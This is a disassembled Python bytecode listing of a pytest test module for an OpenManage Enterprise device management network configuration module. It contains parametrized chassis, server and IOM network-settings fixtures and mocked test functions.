LOAD_CONST 'root' LOAD_NAME Constants LOAD_ATTR service_tag1 LOAD_CONST 10 LOAD_NAME dns_configuration LOAD_NAME ipv4_configuration LOAD_NAME ipv6_configuration LOAD_NAME management_vlan LOAD_NAME dns_server_settings LOAD_CONST ('hostname', 'password', 'port', 'username', 'device_service_tag', 'delay', 'dns_configuration', 'ipv4_configuration', 'ipv6_configuration', 'management_vlan', 'dns_server_settings') BUILD_CONST_KEY_MAP STORE_NAME inp_param LOAD_CONST 'Network' LOAD_CONST '1' LOAD_CONST True LOAD_CONST True LOAD_CONST False LOAD_CONST '192.196.24.176' LOAD_CONST '255.255.254.0' LOAD_CONST '192.196.24.1' LOAD_CONST False LOAD_CONST '' LOAD_CONST '' LOAD_CONST ('EnableIPv4', 'EnableDHCP', 'StaticIPAddress', 'StaticSubnetMask', 'StaticGateway', 'UseDHCPObtainDNSServerAddresses', 'StaticPreferredDNSServer', 'StaticAlternateDNSServer') BUILD_CONST_KEY_MAP LOAD_CONST False LOAD_CONST False LOAD_CONST '' LOAD_CONST '0' LOAD_CONST '' LOAD_CONST False LOAD_CONST '' LOAD_CONST '' LOAD_CONST ('EnableIPv6', 'EnableAutoconfiguration', 'StaticIPv6Address', 'StaticPrefixLength', 'StaticGateway', 'UseDHCPv6ObtainDNSServerAddresses', 'StaticPreferredDNSServer', 'StaticAlternateDNSServer') BUILD_CONST_KEY_MAP LOAD_CONST True LOAD_CONST False LOAD_CONST 'MX-6H5S6Z2' LOAD_CONST False LOAD_CONST '' LOAD_CONST True LOAD_CONST '1_GB' LOAD_CONST 0 LOAD_CONST ('EnableNIC', 'RegisterDNS', 'DnsName', 'UseDHCPForDomainName', 'DnsDomainName', 'AutoNegotiation', 'NetworkSpeed', 'Delay') BUILD_CONST_KEY_MAP LOAD_CONST ('SettingType', 'MgmtVLANId', 'EnableVLAN', 'Ipv4Settings', 'Ipv6Settings', 'GeneralSettings') BUILD_CONST_KEY_MAP STORE_NAME chassis LOAD_CONST 'Network' LOAD_CONST 'Disabled' LOAD_CONST '::' LOAD_CONST '192.92.24.1' LOAD_CONST '1' LOAD_CONST '10.8.8.8' LOAD_CONST '255.255.254.0' LOAD_CONST '192.92.24.177' LOAD_CONST 'Disabled' LOAD_CONST '::' LOAD_CONST '::' LOAD_CONST '192.92.24.177' LOAD_CONST 'Disabled' LOAD_CONST '::' LOAD_CONST '64' LOAD_CONST 'Disabled' LOAD_CONST 'Enabled' LOAD_CONST '192.92.24.1' LOAD_CONST 'Disabled' LOAD_CONST '::' LOAD_CONST 'Enabled' LOAD_CONST 'Enabled' LOAD_CONST '192.96.7.7' LOAD_CONST ('SettingType', 'useDHCPToObtainDNSIPv6', 'staticPreferredDNSIPv6', 'currentGatewayIPv4', 'vlanId', 'staticPreferredDNSIPv4', 'staticSubnetMaskIPv4', 'currentIPAddressIPv4', 'enableDHCPIPv4', 'currentIPAddressIPv6', 'staticIPAddressIPv6', 'staticIPAddressIPv4', 'useDHCPToObtainDNSIPv4', 'staticGatewayIPv6', 'staticPrefixLengthIPv6', 'vlanEnable', 'enableAutoConfigurationIPv6', 'staticGatewayIPv4', 'enableIPv6', 'staticAlternateDNSIPv6', 'enableIPv4', 'enableNIC', 'staticAlternateDNSIPv4') BUILD_CONST_KEY_MAP STORE_NAME server LOAD_CONST 'Network' LOAD_CONST '' LOAD_CONST False LOAD_CONST True LOAD_CONST True LOAD_CONST '192.96.24.35' LOAD_CONST '255.255.254.0' LOAD_CONST '192.96.24.1' LOAD_CONST ('EnableIPv4', 'EnableDHCP', 'StaticIPAddress', 'StaticSubnetMask', 'StaticGateway') BUILD_CONST_KEY_MAP LOAD_CONST True LOAD_CONST '2607:f2b1:f2b1:9:f2b1:f2b1:f2b1:be45' LOAD_CONST '64' LOAD_CONST 'fe80::f2b1:f2b1:f2b1:9' LOAD_CONST False LOAD_CONST ('EnableIPv6', 'StaticIPv6Address', 'StaticPrefixLength', 'StaticGateway', 'UseDHCPv6') BUILD_CONST_KEY_MAP LOAD_CONST '' LOAD_CONST '' LOAD_CONST '' LOAD_CONST ('PrimaryDNS', 'SecondaryDNS', 'TertiaryDNS') BUILD_CONST_KEY_MAP LOAD_CONST ('SettingType', 'MgmtVLANId', 'EnableMgmtVLANId', 'IomIPv4Settings', 'IomIPv6Settings', 'IomDNSSettings') BUILD_CONST_KEY_MAP STORE_NAME iom LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'params' LOAD_NAME inp_param LOAD_CONST 'Type' LOAD_CONST 2000 BUILD_MAP LOAD_NAME SUCCESS_MSG LOAD_CONST ('module_args', 'dvc', 'msg') BUILD_CONST_KEY_MAP LOAD_NAME inp_param LOAD_CONST 'Type' LOAD_CONST 1000 BUILD_MAP LOAD_NAME SUCCESS_MSG LOAD_CONST ('module_args', 'dvc', 'msg') BUILD_CONST_KEY_MAP LOAD_NAME inp_param LOAD_CONST 'Type' LOAD_CONST 4000 BUILD_MAP LOAD_NAME SUCCESS_MSG LOAD_CONST ('module_args', 'dvc', 'msg') BUILD_CONST_KEY_MAP BUILD_LIST CALL_METHOD LOAD_CONST <code object test_ome_device_mgmt_network_success at 0x7f8af04a21e0, file "f.py", line 176> LOAD_CONST 'TestOmeDeviceMgmtNetwork.test_ome_device_mgmt_network_success' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_ome_device_mgmt_network_success LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'params' LOAD_NAME inp_param LOAD_CONST 3000 LOAD_CONST 'Unsupported' LOAD_CONST ('Type', 'Model') BUILD_CONST_KEY_MAP LOAD_NAME NON_CONFIG_NETWORK LOAD_CONST ('module_args', 'dvc', 'msg') BUILD_CONST_KEY_MAP BUILD_LIST CALL_METHOD LOAD_CONST <code object test_ome_device_mgmt_network_fails at 0x7f8af04a2930, file "f.py", line 205> LOAD_CONST 'TestOmeDeviceMgmtNetwork.test_ome_device_mgmt_network_fails' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_ome_device_mgmt_network_fails LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'params' LOAD_CONST 123 LOAD_CONST 'alternate_dns_server1' LOAD_CONST '192.96.20.182' BUILD_MAP LOAD_CONST ('device_id', 'dns_server_settings') BUILD_CONST_KEY_MAP LOAD_CONST 'IomDNSSettings' LOAD_CONST None LOAD_CONST '' LOAD_CONST '' LOAD_CONST ('PrimaryDNS', 'SecondaryDNS', 'TertiaryDNS') BUILD_CONST_KEY_MAP BUILD_MAP LOAD_CONST 'Type' LOAD_CONST 4000 BUILD_MAP LOAD_NAME DNS_SETT_ERR1 LOAD_CONST ('module_args', 'json_data', 'dvc', 'msg') BUILD_CONST_KEY_MAP BUILD_LIST CALL_METHOD LOAD_CONST <code object _test_ome_device_mgmt_iom_dns_failure at 0x7f8af04a2810, file "f.py", line 232> LOAD_CONST 'TestOmeDeviceMgmtNetwork._test_ome_device_mgmt_iom_dns_failure' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _test_ome_device_mgmt_iom_dns_failure LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'addr_param' LOAD_CONST 'in' LOAD_NAME inp_param BUILD_MAP LOAD_CONST 'in' LOAD_CONST 'dns_configuration' LOAD_CONST 'register_with_dns' LOAD_CONST True BUILD_MAP BUILD_MAP BUILD_MAP LOAD_CONST 'in' LOAD_CONST 'management_vlan' LOAD_CONST 'enable_vlan' LOAD_CONST True BUILD_MAP BUILD_MAP BUILD_MAP BUILD_LIST CALL_METHOD LOAD_CONST <code object test_validate_input_success at 0x7f8af04a2390, file "f.py", line 268> LOAD_CONST 'TestOmeDeviceMgmtNetwork.test_validate_input_success' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_validate_input_success LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'param' LOAD_NAME inp_param LOAD_NAME chassis LOAD_CONST False LOAD_CONST 5 LOAD_CONST False LOAD_CONST 5 LOAD_CONST ('EnableNIC', 'Delay') BUILD_CONST_KEY_MAP LOAD_CONST ('in', 'device', 'enable_nic', 'delay', 'diff') BUILD_CONST_KEY_MAP LOAD_NAME inp_param LOAD_NAME chassis LOAD_CONST True LOAD_CONST '2607:f2b1:f081:9:1c8c:f1c7:47e:f121' LOAD_CONST '2607:f2b1:f081:9:1c8c:f1c7:47e:f122' LOAD_CONST '0000::ffff' LOAD_CONST '255.255.255.0' LOAD_CONST '192.168.11.20' LOAD_CONST '2607:f2b1:f081:9:1c8c:f1c7:47e:f120' LOAD_CONST 0 LOAD_CONST True LOAD_CONST '10_MB' LOAD_CONST 'openmanage-enterprise' LOAD_CONST False LOAD_CONST 'localdomain' LOAD_CONST 0 LOAD_CONST ('StaticAlternateDNSServer', 'StaticPreferredDNSServer', 'StaticGateway', 'StaticSubnetMask', 'StaticIPAddress', 'StaticIPv6Address', 'StaticPrefixLength', 'EnableIPv6', 'NetworkSpeed', 'DnsName', 'AutoNegotiation', 'DnsDomainName', 'MgmtVLANId') BUILD_CONST_KEY_MAP LOAD_CONST ('in', 'device', 'enable_nic', 'diff') BUILD_CONST_KEY_MAP LOAD_CONST 'ipv6_configuration' LOAD_NAME ipv6_configuration BUILD_MAP LOAD_NAME chassis LOAD_CONST True LOAD_CONST '2607:f2b1:f081:9:1c8c:f1c7:47e:f121' LOAD_CONST '2607:f2b1:f081:9:1c8c:f1c7:47e:f122' LOAD_CONST '0000::ffff' LOAD_CONST '2607:f2b1:f081:9:1c8c:f1c7:47e:f120' LOAD_CONST 0 LOAD_CONST True LOAD_CONST ('StaticAlternateDNSServer', 'StaticPreferredDNSServer', 'StaticGateway', 'StaticIPv6Address', 'StaticPrefixLength', 'EnableIPv6') BUILD_CONST_KEY_MAP LOAD_CONST ('in', 'device', 'enable_nic', 'diff') BUILD_CONST_KEY_MAP LOAD_CONST 'ipv4_configuration' LOAD_NAME ipv4_configuration BUILD_MAP LOAD_NAME chassis LOAD_CONST True LOAD_CONST '192.168.11.3' LOAD_CONST '192.168.11.2' LOAD_CONST '192.168.11.1' LOAD_CONST '255.255.255.0' LOAD_CONST '192.168.11.20' LOAD_CONST ('StaticAlternateDNSServer', 'StaticPreferredDNSServer', 'StaticGateway', 'StaticSubnetMask', 'StaticIPAddress') BUILD_CONST_KEY_MAP LOAD_CONST ('in', 'device', 'enable_nic', 'diff') BUILD_CONST_KEY_MAP LOAD_CONST 'dns_configuration' LOAD_NAME dns_configuration BUILD_MAP LOAD_NAME chassis LOAD_CONST True LOAD_CONST '10_MB' LOAD_CONST 'openmanage-enterprise' LOAD_CONST False LOAD_CONST 'localdomain' LOAD_CONST ('NetworkSpeed', 'DnsName', 'AutoNegotiation', 'DnsDomainName') BUILD_CONST_KEY_MAP LOAD_CONST ('in', 'device', 'enable_nic', 'diff') BUILD_CONST_KEY_MAP LOAD_CONST 'management_vlan' LOAD_NAME management_vlan BUILD_MAP LOAD_NAME chassis LOAD_CONST True LOAD_CONST 'MgmtVLANId' LOAD_CONST 0 BUILD_MAP LOAD_CONST ('in', 'device', 'enable_nic', 'diff') BUILD_CONST_KEY_MAP BUILD_LIST CALL_METHOD LOAD_CONST <code object test_update_chassis_payload_success at 0x7f8af04a2ed0, file "f.py", line 280> LOAD_CONST 'TestOmeDeviceMgmtNetwork.test_update_chassis_payload_success' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_update_chassis_payload_success LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'param' LOAD_NAME inp_param LOAD_NAME server LOAD_CONST False LOAD_CONST 'enableNIC' LOAD_CONST 'Disabled' BUILD_MAP LOAD_CONST ('in', 'device', 'enable_nic', 'diff') BUILD_CONST_KEY_MAP LOAD_NAME inp_param LOAD_NAME server LOAD_CONST True LOAD_CONST '192.168.11.20' LOAD_CONST '255.255.255.0' LOAD_CONST '192.168.11.1' LOAD_CONST '192.168.11.2' LOAD_CONST '192.168.11.3' LOAD_CONST 'Disabled' LOAD_CONST 'Enabled' LOAD_CONST '2607:f2b1:f081:9:1c8c:f1c7:47e:f122' LOAD_CONST '2607:f2b1:f081:9:1c8c:f1c7:47e:f121' LOAD_CONST '2607:f2b1:f081:9:1c8c:f1c7:47e:f120' LOAD_CONST 0 LOAD_CONST '0000::ffff' LOAD_CONST 'Enabled' LOAD_CONST 0 LOAD_CONST ('staticIPAddressIPv4', 'staticSubnetMaskIPv4', 'staticGatewayIPv4', 'staticPreferredDNSIPv4', 'staticAlternateDNSIPv4', 'enableAutoConfigurationIPv6', 'vlanEnable', 'staticPreferredDNSIPv6', 'staticAlternateDNSIPv6', 'staticIPAddressIPv6', 'staticPrefixLengthIPv6', 'staticGatewayIPv6', 'enableIPv6', 'vlanId') BUILD_CONST_KEY_MAP LOAD_CONST ('in', 'device', 'enable_nic', 'diff') BUILD_CONST_KEY_MAP LOAD_CONST 'ipv6_configuration' LOAD_NAME ipv6_configuration BUILD_MAP LOAD_NAME server LOAD_CONST True LOAD_CONST '2607:f2b1:f081:9:1c8c:f1c7:47e:f122' LOAD_CONST '2607:f2b1:f081:9:1c8c:f1c7:47e:f121' LOAD_CONST '2607:f2b1:f081:9:1c8c:f1c7:47e:f120' LOAD_CONST 0 LOAD_CONST '0000::ffff' LOAD_CONST 'Disabled' LOAD_CONST 'Enabled' LOAD_CONST ('staticPreferredDNSIPv6', 'staticAlternateDNSIPv6', 'staticIPAddressIPv6', 'staticPrefixLengthIPv6', 'staticGatewayIPv6', 'enableAutoConfigurationIPv6', 'enableIPv6') BUILD_CONST_KEY_MAP LOAD_CONST ('in', 'device', 'enable_nic', 'diff') BUILD_CONST_KEY_MAP LOAD_CONST 'ipv4_configuration' LOAD_NAME ipv4_configuration BUILD_MAP LOAD_NAME server LOAD_CONST True LOAD_CONST '192.168.11.20' LOAD_CONST '255.255.255.0' LOAD_CONST '192.168.11.1' LOAD_CONST '192.168.11.2' LOAD_CONST '192.168.11.3' LOAD_CONST ('staticIPAddressIPv4', 'staticSubnetMaskIPv4', 'staticGatewayIPv4', 'staticPreferredDNSIPv4', 'staticAlternateDNSIPv4') BUILD_CONST_KEY_MAP LOAD_CONST ('in', 'device', 'enable_nic', 'diff') BUILD_CONST_KEY_MAP LOAD_CONST 'management_vlan' LOAD_NAME management_vlan BUILD_MAP LOAD_NAME server LOAD_CONST True LOAD_CONST 'Enabled' LOAD_CONST 0 LOAD_CONST ('vlanEnable', 'vlanId') BUILD_CONST_KEY_MAP LOAD_CONST ('in', 'device', 'enable_nic', 'diff') BUILD_CONST_KEY_MAP BUILD_LIST CALL_METHOD LOAD_CONST <code object test_update_server_payload_success at 0x7f8af04a2db0, file "f.py", line 362> LOAD_CONST 'TestOmeDeviceMgmtNetwork.test_update_server_payload_success' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_update_server_payload_success LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'param' LOAD_NAME inp_param LOAD_NAME iom LOAD_CONST False LOAD_CONST '0000::ffff' LOAD_CONST '192.168.11.20' LOAD_CONST '255.255.255.0' LOAD_CONST False LOAD_CONST True LOAD_CONST 0 LOAD_CONST '2607:f2b1:f081:9:1c8c:f1c7:47e:f120' LOAD_CONST 0 LOAD_CONST '192.96.20.182' LOAD_CONST '192.96.20.181' LOAD_CONST ('StaticGateway', 'StaticIPAddress', 'StaticSubnetMask', 'EnableDHCP', 'EnableMgmtVLANId', 'StaticPrefixLength', 'StaticIPv6Address', 'MgmtVLANId', 'SecondaryDNS', 'PrimaryDNS') BUILD_CONST_KEY_MAP LOAD_CONST ('in', 'device', 'enable_nic', 'diff') BUILD_CONST_KEY_MAP LOAD_NAME inp_param LOAD_NAME iom LOAD_CONST True LOAD_CONST '0000::ffff' LOAD_CONST '192.168.11.20' LOAD_CONST '255.255.255.0' LOAD_CONST False LOAD_CONST 0 LOAD_CONST True LOAD_CONST '2607:f2b1:f081:9:1c8c:f1c7:47e:f120' LOAD_CONST 0 LOAD_CONST '192.96.20.182' LOAD_CONST '192.96.20.181' LOAD_CONST ('StaticGateway', 'StaticIPAddress', 'StaticSubnetMask', 'EnableDHCP', 'StaticPrefixLength', 'EnableMgmtVLANId', 'StaticIPv6Address', 'MgmtVLANId', 'SecondaryDNS', 'PrimaryDNS') BUILD_CONST_KEY_MAP LOAD_CONST ('in', 'device', 'enable_nic', 'diff') BUILD_CONST_KEY_MAP LOAD_CONST 'ipv6_configuration' LOAD_NAME ipv6_configuration BUILD_MAP LOAD_NAME iom LOAD_CONST True LOAD_CONST '0000::ffff' LOAD_CONST 0 LOAD_CONST '2607:f2b1:f081:9:1c8c:f1c7:47e:f120' LOAD_CONST ('StaticGateway', 'StaticPrefixLength', 'StaticIPv6Address') BUILD_CONST_KEY_MAP LOAD_CONST ('in', 'device', 'enable_nic', 'diff') BUILD_CONST_KEY_MAP LOAD_CONST 'ipv4_configuration' LOAD_NAME ipv4_configuration BUILD_MAP LOAD_NAME iom LOAD_CONST True LOAD_CONST '192.168.11.1' LOAD_CONST '192.168.11.20' LOAD_CONST '255.255.255.0' LOAD_CONST False LOAD_CONST ('StaticGateway', 'StaticIPAddress', 'StaticSubnetMask', 'EnableDHCP') BUILD_CONST_KEY_MAP LOAD_CONST ('in', 'device', 'enable_nic', 'diff') BUILD_CONST_KEY_MAP LOAD_CONST 'management_vlan' LOAD_NAME management_vlan BUILD_MAP LOAD_NAME iom LOAD_CONST True LOAD_CONST True LOAD_CONST 0 LOAD_CONST ('EnableMgmtVLANId', 'MgmtVLANId') BUILD_CONST_KEY_MAP LOAD_CONST ('in', 'device', 'enable_nic', 'diff') BUILD_CONST_KEY_MAP BUILD_LIST CALL_METHOD LOAD_CONST <code object test_update_iom_payload_success at 0x7f8af04a2d20, file "f.py", line 433> LOAD_CONST 'TestOmeDeviceMgmtNetwork.test_update_iom_payload_success' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_update_iom_payload_success LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'params' LOAD_CONST 'localdomain' LOAD_CONST 'openmanage-enterprise' LOAD_CONST True LOAD_CONST True LOAD_CONST '10_MB' LOAD_CONST True LOAD_CONST ('dns_domain_name', 'dns_name', 'register_with_dns', 'auto_negotiation', 'network_speed', 'use_dhcp_for_dns_domain_name') BUILD_CONST_KEY_MAP LOAD_CONST False LOAD_CONST True LOAD_CONST True LOAD_CONST '192.168.11.20' LOAD_CONST '255.255.255.0' LOAD_CONST '192.168.11.1' LOAD_CONST '192.168.11.2' LOAD_CONST '192.168.11.3' LOAD_CONST ('enable_ipv4', 'enable_dhcp', 'use_dhcp_to_obtain_dns_server_address', 'static_ip_address', 'static_subnet_mask', 'static_gateway', 'static_preferred_dns_server', 'static_alternate_dns_server') BUILD_CONST_KEY_MAP LOAD_CONST False LOAD_CONST True LOAD_CONST '2607:f2b1:f081:9:1c8c:f1c7:47e:f121' LOAD_CONST '0000::ffff' LOAD_CONST '2607:f2b1:f081:9:1c8c:f1c7:47e:f120' LOAD_CONST '2607:f2b1:f081:9:1c8c:f1c7:47e:f122' LOAD_CONST 0 LOAD_CONST True LOAD_CONST ('enable_ipv6', 'enable_auto_configuration', 'static_alternate_dns_server', 'static_gateway', 'static_ip_address', 'static_preferred_dns_server', 'static_prefix_length', 'use_dhcpv6_to_obtain_dns_server_address') BUILD_CONST_KEY_MAP LOAD_CONST False LOAD_CONST 0 LOAD_CONST ('enable_vlan', 'vlan_id') BUILD_CONST_KEY_MAP LOAD_CONST '192.96.20.181' LOAD_CONST '192.96.20.182' LOAD_CONST ('preferred_dns_server', 'alternate_dns_server1') BUILD_CONST_KEY_MAP LOAD_CONST ('dns_configuration', 'ipv4_configuration', 'ipv6_configuration', 'management_vlan', 'dns_server_settings') BUILD_CONST_KEY_MAP LOAD_CONST 'openmanage-enterprise' LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST ('dns_name', 'register_with_dns', 'auto_negotiation', 'use_dhcp_for_dns_domain_name') BUILD_CONST_KEY_MAP LOAD_CONST 'enable_ipv4' LOAD_CONST False BUILD_MAP LOAD_CONST 'enable_ipv6' LOAD_CONST False BUILD_MAP LOAD_CONST 'enable_vlan' LOAD_CONST False BUILD_MAP LOAD_CONST '192.96.20.181' LOAD_CONST '192.96.20.182' LOAD_CONST ('preferred_dns_server', 'alternate_dns_server1') BUILD_CONST_KEY_MAP LOAD_CONST ('dns_configuration', 'ipv4_configuration', 'ipv6_configuration', 'management_vlan', 'dns_server_settings') BUILD_CONST_KEY_MAP LOAD_CONST ('mparams', 'res') BUILD_CONST_KEY_MAP BUILD_LIST CALL_METHOD LOAD_CONST <code object test_validate_dependency at 0x7f8af04a29c0, file "f.py", line 506> LOAD_CONST 'TestOmeDeviceMgmtNetwork.test_validate_dependency' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_validate_dependency LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'params' LOAD_CONST 'device_id' LOAD_CONST 123 BUILD_MAP LOAD_CONST True LOAD_CONST 'value' LOAD_CONST 'vlan_name1' LOAD_CONST 124 LOAD_CONST 'ABCD345' LOAD_CONST ('Name', 'Id', 'Identifier') BUILD_CONST_KEY_MAP LOAD_CONST 'vlan_name' LOAD_CONST 123 LOAD_CONST 'ABCD123' LOAD_CONST ('Name', 'Id', 'Identifier') BUILD_CONST_KEY_MAP BUILD_LIST BUILD_MAP LOAD_CONST 'vlan_name' LOAD_CONST 123 LOAD_CONST 'ABCD123' LOAD_CONST ('Name', 'Id', 'Identifier') BUILD_CONST_KEY_MAP LOAD_CONST ('mparams', 'success', 'json_data', 'res') BUILD_CONST_KEY_MAP LOAD_CONST 'device_service_tag' LOAD_CONST 'ABCD123' BUILD_MAP LOAD_CONST True LOAD_CONST 'value' LOAD_CONST 'vlan_name' LOAD_CONST 123 LOAD_CONST 'ABCD123' LOAD_CONST ('Name', 'Id', 'Identifier') BUILD_CONST_KEY_MAP BUILD_LIST BUILD_MAP LOAD_CONST 'vlan_name' LOAD_CONST 123 LOAD_CONST 'ABCD123' LOAD_CONST ('Name', 'Id', 'Identifier') BUILD_CONST_KEY_MAP LOAD_CONST ('mparams', 'success', 'json_data', 'res') BUILD_CONST_KEY_MAP BUILD_LIST CALL_METHOD LOAD_CONST <code object test_get_device_details at 0x7f8af04a2e40, file "f.py", line 568> LOAD_CONST 'TestOmeDeviceMgmtNetwork.test_get_device_details' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_get_device_details LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'params' LOAD_CONST 'device_id' LOAD_CONST 123 BUILD_MAP LOAD_CONST True LOAD_CONST 2000 LOAD_CONST 123 LOAD_CONST 'ABCD123' LOAD_CONST ('Type', 'Id', 'Identifier') BUILD_CONST_KEY_MAP LOAD_CONST 2000 LOAD_CONST 123 LOAD_CONST 'ABCD123' LOAD_CONST ('Type', 'Id', 'Identifier') BUILD_CONST_KEY_MAP LOAD_CONST 'IPV4' LOAD_CONST '1.2.3.4' BUILD_MAP LOAD_CONST ('mparams', 'success', 'json_data', 'res', 'diff') BUILD_CONST_KEY_MAP LOAD_CONST 'device_id' LOAD_CONST 123 BUILD_MAP LOAD_CONST True LOAD_CONST 4000 LOAD_CONST 123 LOAD_CONST 'ABCD123' LOAD_CONST ('Type', 'Id', 'Identifier') BUILD_CONST_KEY_MAP LOAD_CONST 4000 LOAD_CONST 123 LOAD_CONST 'ABCD123' LOAD_CONST ('Type', 'Id', 'Identifier') BUILD_CONST_KEY_MAP LOAD_CONST 'IPV4' LOAD_CONST '1.2.3.4' BUILD_MAP LOAD_CONST ('mparams', 'success', 'json_data', 'res', 'diff') BUILD_CONST_KEY_MAP BUILD_LIST CALL_METHOD LOAD_CONST <code object test_get_network_payload at 0x7f8af04a2150, file "f.py", line 603> LOAD_CONST 'TestOmeDeviceMgmtNetwork.test_get_network_payload' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_get_network_payload LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'exc_type' LOAD_NAME IOError LOAD_NAME ValueError LOAD_NAME SSLValidationError LOAD_NAME TypeError LOAD_NAME ConnectionError LOAD_NAME HTTPError LOAD_NAME URLError BUILD_LIST CALL_METHOD LOAD_CONST <code object test_device_network_main_exception_case at 0x7f8af04a2f60, file "f.py", line 639> LOAD_CONST 'TestOmeDeviceMgmtNetwork.test_device_network_main_exception_case' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_device_network_main_exception_case LOAD_CONST None RETURN_VALUE LOAD_FAST params LOAD_METHOD get LOAD_CONST 'success' LOAD_CONST True CALL_METHOD LOAD_FAST ome_response_mock STORE_ATTR success LOAD_CONST 'IPAddress' LOAD_CONST '192.1.2.3' BUILD_MAP LOAD_FAST ome_response_mock STORE_ATTR json_data LOAD_FAST mocker LOAD_ATTR patch LOAD_GLOBAL MODULE_PATH LOAD_CONST 'get_device_details' BINARY_ADD LOAD_FAST params LOAD_METHOD get LOAD_CONST 'dvc' LOAD_CONST 'Type' LOAD_CONST 2000 BUILD_MAP CALL_METHOD LOAD_CONST ('return_value',) CALL_FUNCTION POP_TOP LOAD_FAST mocker LOAD_ATTR patch LOAD_GLOBAL MODULE_PATH LOAD_CONST 'get_network_payload' BINARY_ADD LOAD_CONST 'Type' LOAD_CONST 2000 BUILD_MAP LOAD_CONST ('return_value',) CALL_FUNCTION POP_TOP LOAD_FAST ome_default_args LOAD_METHOD update LOAD_FAST params LOAD_CONST 'module_args' BINARY_SUBSCR CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR _run_module LOAD_FAST ome_default_args LOAD_FAST params LOAD_METHOD get LOAD_CONST 'check_mode' LOAD_CONST False CALL_METHOD LOAD_CONST ('check_mode',) CALL_FUNCTION STORE_FAST result LOAD_FAST result LOAD_CONST 'msg' BINARY_SUBSCR LOAD_FAST params LOAD_CONST 'msg' BINARY_SUBSCR COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST params LOAD_METHOD get LOAD_CONST 'success' LOAD_CONST True CALL_METHOD LOAD_FAST ome_response_mock STORE_ATTR success LOAD_CONST 'IPAddress' LOAD_CONST '192.1.2.3' BUILD_MAP LOAD_FAST ome_response_mock STORE_ATTR json_data LOAD_FAST params LOAD_METHOD get LOAD_CONST 'dvc' CALL_METHOD STORE_FAST dvc LOAD_FAST mocker LOAD_ATTR patch LOAD_GLOBAL MODULE_PATH LOAD_CONST 'get_device_details' BINARY_ADD LOAD_FAST dvc LOAD_CONST ('return_value',) CALL_FUNCTION POP_TOP LOAD_FAST mocker LOAD_ATTR patch LOAD_GLOBAL MODULE_PATH LOAD_CONST 'get_network_payload' BINARY_ADD BUILD_MAP LOAD_CONST ('return_value',) CALL_FUNCTION POP_TOP LOAD_FAST ome_default_args LOAD_METHOD update LOAD_FAST params LOAD_CONST 'module_args' BINARY_SUBSCR CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD _run_module_with_fail_json LOAD_FAST ome_default_args CALL_METHOD STORE_FAST result LOAD_FAST result LOAD_CONST 'msg' BINARY_SUBSCR LOAD_FAST params LOAD_CONST 'msg' BINARY_SUBSCR LOAD_METHOD format LOAD_FAST dvc LOAD_METHOD get LOAD_CONST 'Model' CALL_METHOD CALL_METHOD COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST params LOAD_METHOD get LOAD_CONST 'success' LOAD_CONST True CALL_METHOD LOAD_FAST ome_response_mock STORE_ATTR success LOAD_FAST params LOAD_METHOD get LOAD_CONST 'json_data' CALL_METHOD LOAD_FAST ome_response_mock STORE_ATTR json_data LOAD_FAST params LOAD_METHOD get LOAD_CONST 'dvc' CALL_METHOD STORE_FAST dvc LOAD_FAST mocker LOAD_ATTR patch LOAD_GLOBAL MODULE_PATH LOAD_CONST 'get_device_details' BINARY_ADD LOAD_FAST dvc LOAD_CONST ('return_value',) CALL_FUNCTION POP_TOP LOAD_FAST ome_default_args LOAD_METHOD update LOAD_FAST params LOAD_CONST 'module_args' BINARY_SUBSCR CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD _run_module_with_fail_json LOAD_FAST ome_default_args CALL_METHOD STORE_FAST result LOAD_FAST result LOAD_CONST 'msg' BINARY_SUBSCR LOAD_FAST params LOAD_CONST 'msg' BINARY_SUBSCR COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR get_module_mock LOAD_FAST addr_param LOAD_CONST 'in' BINARY_SUBSCR LOAD_CONST ('params',) CALL_FUNCTION STORE_FAST f_module LOAD_FAST self LOAD_ATTR module LOAD_METHOD validate_input LOAD_FAST f_module CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST param LOAD_CONST 'in' BINARY_SUBSCR STORE_FAST inp LOAD_FAST param LOAD_METHOD get LOAD_CONST 'enable_nic' CALL_METHOD LOAD_FAST inp LOAD_CONST 'enable_nic' STORE_SUBSCR LOAD_FAST param LOAD_METHOD get LOAD_CONST 'delay' LOAD_CONST 0 CALL_METHOD LOAD_FAST inp LOAD_CONST 'delay' STORE_SUBSCR LOAD_FAST self LOAD_ATTR get_module_mock LOAD_FAST inp LOAD_CONST ('params',) CALL_FUNCTION STORE_FAST f_module LOAD_FAST self LOAD_ATTR module 